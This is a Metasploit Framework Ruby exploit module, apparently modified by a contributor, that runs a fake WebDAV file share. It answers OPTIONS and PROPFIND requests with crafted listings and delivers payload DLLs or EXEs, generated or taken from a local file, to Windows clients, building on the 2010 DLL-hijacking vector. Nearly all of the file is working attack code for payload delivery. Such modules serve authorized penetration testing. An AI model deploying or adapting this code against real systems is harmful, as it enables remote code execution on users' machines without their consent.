##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = ManualRanking

	#
	# This module acts as an HTTP server
	#
	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::EXE

	def initialize(info = {})
		super(update_info(info,
			'Name'			=> 'Simple Webdav Fileserver',
			'Description'	=> %q{
				This module lets you present a executable on the local file system to be
			downloaded over webdav.  Ripped from the WebDAV application DLL Hijacker module. 
			Behaves like the other module unless you specify an exe to download.
			},
			#To do, specify local module or have msf generate you a payload based on the payload settings
			'Author'		=>
				[
					'hdm',   # Module itself
					'jduck', # WebDAV implementation
					'jcran', # Exploit vectors
					'CG',	 # Modified webDAV Application DLL Hijacker module to serve up a local exe and a generated EXE
				],
			'License'		=> MSF_LICENSE,
			'Version'		=> '$Revision: 14976 $',
			'References'	=>
				[
					['URL', 'http://blog.zoller.lu/2010/08/cve-2010-xn-loadlibrarygetprocaddress.html'],
					['URL', 'http://www.acrossecurity.com/aspr/ASPR-2010-08-18-1-PUB.txt'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'		=>
				{
					'Space'	=> 2048,
				},
			'Platform'		=> 'win',
			'Targets'		=>
				[
					[ 'Automatic',	{ } ]
				],
			'DisclosureDate' => 'Aug 18 2010',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptPort.new(	'SRVPORT',		[ true, "The daemon port to listen on (do not change)", 80 ]),
				OptString.new(	'URIPATH',		[ true, "The URI to use (do not change).", "/" ]),
				OptBool.new(    'LOCALEXE', 		[ true, "Use a local exe instead of generating one based on payload options", false ]),
				OptString.new(	'LOCALROOT',		[ true, "The local file path", "/tmp/" ]),
				OptString.new(	'LOCALFILE',		[ true, "The filename to serve up", "myexe.exe" ]),
				OptString.new(	'BASENAME',		[ true, "The base name for the listed files.", "policy" ]),
				OptString.new(	'SHARENAME',	 	[ true, "The name of the top-level share.", "documents" ]),
				OptString.new(	'EXTENSIONS',	 	[ true, "The list of extensions to generate", "txt" ])
			], self.class)

		deregister_options('SSL', 'SSLVersion') # WebDAV does not support SSL
	end


	def on_request_uri(cli, request)

		case request.method
		when 'OPTIONS'
			process_options(cli, request)
		when 'PROPFIND'
			process_propfind(cli, request)
		when 'GET'
			process_get(cli, request)
		else
			print_status("#{cli.peerhost}:#{cli.peerport} #{request.method} => 404 (#{request.uri})")
			resp = create_response(404, "Not Found")
			resp.body = ""
			resp['Content-Type'] = 'text/html'
			cli.send_response(resp)
		end
	end


	def process_get(cli, request)

		myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
		webdav = "\\\\#{myhost}\\"

		if blacklisted_path?(request.uri)
			print_status("#{cli.peerhost}:#{cli.peerport} GET => 404 [BLACKLIST] (#{request.uri})")
			resp = create_response(404, "Not Found")
			resp.body = ""
			cli.send_response(resp)
			return
		end

		if (request.uri =~ /\.(dll|dl|drv|cpl)$/i)
			print_status("#{cli.peerhost}:#{cli.peerport} GET => DLL Payload")
			return if ((p = regenerate_payload(cli)) == nil)
			data = generate_payload_dll({ :code => p.encoded })
			send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
			return
		end
		if (request.uri =~ /\.(exe)$/i)
			if datastore['LOCALEXE']
				myfile = datastore['LOCALROOT']+datastore['LOCALFILE']
				print_status("#{cli.peerhost}:#{cli.peerport} GET => Delivering Local EXE Payload [ #{myfile} ]")
				data = File.open(myfile, 'rb'){|io| io.read }
				send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
			return
			
			else
				print_status("#{cli.peerhost}:#{cli.peerport} GET => Delivering Generated EXE Payload")
				return if ((p = regenerate_payload(cli)) == nil)
				data = generate_payload_exe({ :code => p.encoded })
				send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
			return
			end
		else
			print_status "something went wrong with exe logic"
		end

		# Treat index.html specially
		if (request.uri[-1,1] == "/" or request.uri =~ /index\.html?$/i)
			print_status("#{cli.peerhost}:#{cli.peerport} GET => REDIRECT (#{request.uri})")
			resp = create_response(200, "OK")

			resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=#{@exploit_unc}#{datastore['SHARENAME']}\\"></head><body></body></html>|

			resp['Content-Type'] = 'text/html'
			cli.send_response(resp)
			return
		end

		# Anything else is probably a request for a data file...
		print_status("#{cli.peerhost}:#{cli.peerport} GET => DATA (#{request.uri})")
		data = "HELLO!"
		send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
	end

	#
	# OPTIONS requests sent by the WebDav Mini-Redirector
	#
	def process_options(cli, request)
		print_status("#{cli.peerhost}:#{cli.peerport} OPTIONS #{request.uri}")
		headers = {
			'MS-Author-Via' => 'DAV',
			'DASL'          => '<DAV:sql>',
			'DAV'           => '1, 2',
			'Allow'         => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
			'Public'        => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
			'Cache-Control' => 'private'
		}
		resp = create_response(207, "Multi-Status")
		headers.each_pair {|k,v| resp[k] = v }
		resp.body = ""
		resp['Content-Type'] = 'text/xml'
		cli.send_response(resp)
	end

	#
	# PROPFIND requests sent by the WebDav Mini-Redirector
	#
	def process_propfind(cli, request)
		path = request.uri
		print_status("#{cli.peerhost}:#{cli.peerport} PROPFIND #{path}")
		body = ''

		my_host   = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
		my_uri    = "http://#{my_host}/"

		if path !~ /\/$/

			if blacklisted_path?(path)
				print_status "#{cli.peerhost}:#{cli.peerport} PROPFIND => 404 (#{path})"
				resp = create_response(404, "Not Found")
				resp.body = ""
				cli.send_response(resp)
				return
			end

			if path.index(".")
				print_status "#{cli.peerhost}:#{cli.peerport} PROPFIND => 207 File (#{path})"
				body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
				# send the response
				resp = create_response(207, "Multi-Status")
				resp.body = body
				resp['Content-Type'] = 'text/xml; charset="utf8"'
				cli.send_response(resp)
				return
			else
				print_status "#{cli.peerhost}:#{cli.peerport} PROPFIND => 301 (#{path})"
				resp = create_response(301, "Moved")
				resp["Location"] = path + "/"
				resp['Content-Type'] = 'text/html'
				cli.send_response(resp)
				return
			end
		end

		print_status "#{cli.peerhost}:#{cli.peerport} PROPFIND => 207 Directory (#{path})"
		body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
	<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
		<D:href>#{path}</D:href>
		<D:propstat>
			<D:prop>
				<lp1:resourcetype><D:collection/></lp1:resourcetype>
				<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
				<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
				<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
				<D:supportedlock>
					<D:lockentry>
						<D:lockscope><D:exclusive/></D:lockscope>
						<D:locktype><D:write/></D:locktype>
					</D:lockentry>
					<D:lockentry>
						<D:lockscope><D:shared/></D:lockscope>
						<D:locktype><D:write/></D:locktype>
					</D:lockentry>
				</D:supportedlock>
				<D:lockdiscovery/>
				<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
			</D:prop>
		<D:status>HTTP/1.1 200 OK</D:status>
	</D:propstat>
</D:response>
|

		if request["Depth"].to_i > 0
			trail = path.split("/")
			trail.shift
			case trail.length
			when 0
				body << generate_shares(path)
			when 1
				body << generate_files(path)
			end
		else
			print_status "#{cli.peerhost}:#{cli.peerport} PROPFIND => 207 Top-Level Directory"
		end

		body << "</D:multistatus>"

		body.gsub!(/\t/, '')

		# send the response
		resp = create_response(207, "Multi-Status")
		resp.body = body
		resp['Content-Type'] = 'text/xml; charset="utf8"'
		cli.send_response(resp)
	end

	def generate_shares(path)
		share_name = datastore['SHARENAME']
%Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{share_name}/</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
	end

	def generate_files(path)
		trail = path.split("/")
		return "" if trail.length < 2

		base  = datastore['BASENAME']
		exts  = datastore['EXTENSIONS'].gsub(",", " ").split(/\s+/)
		files = ""
		exts.each do |ext|
			files << %Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{base}.#{ext}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
		end

		files
	end

	def gen_timestamp(ttype=nil)
		::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")
	end

	def gen_datestamp(ttype=nil)
		::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")
	end

	# This method rejects requests that are known to break exploitation
	def blacklisted_path?(uri)
		#return true if uri =~ /\.exe/i
		return true if uri =~ /\.dll/i
		return true if uri =~ /\.(config|manifest)/i
		return true if uri =~ /desktop\.ini/i
		return true if uri =~ /lib.*\.dll/i
		return true if uri =~ /\.tmp$/i
		return true if uri =~ /(pcap|packet)\.dll/i
		false
	end

	def exploit

		myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']

		@exploit_unc  = "\\\\#{myhost}\\"

		if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
			raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/'
		end

		print_status("")
		print_status("Exploit links are now available at #{@exploit_unc}#{datastore['SHARENAME']}\\")
		print_status("")

		super
	end
end
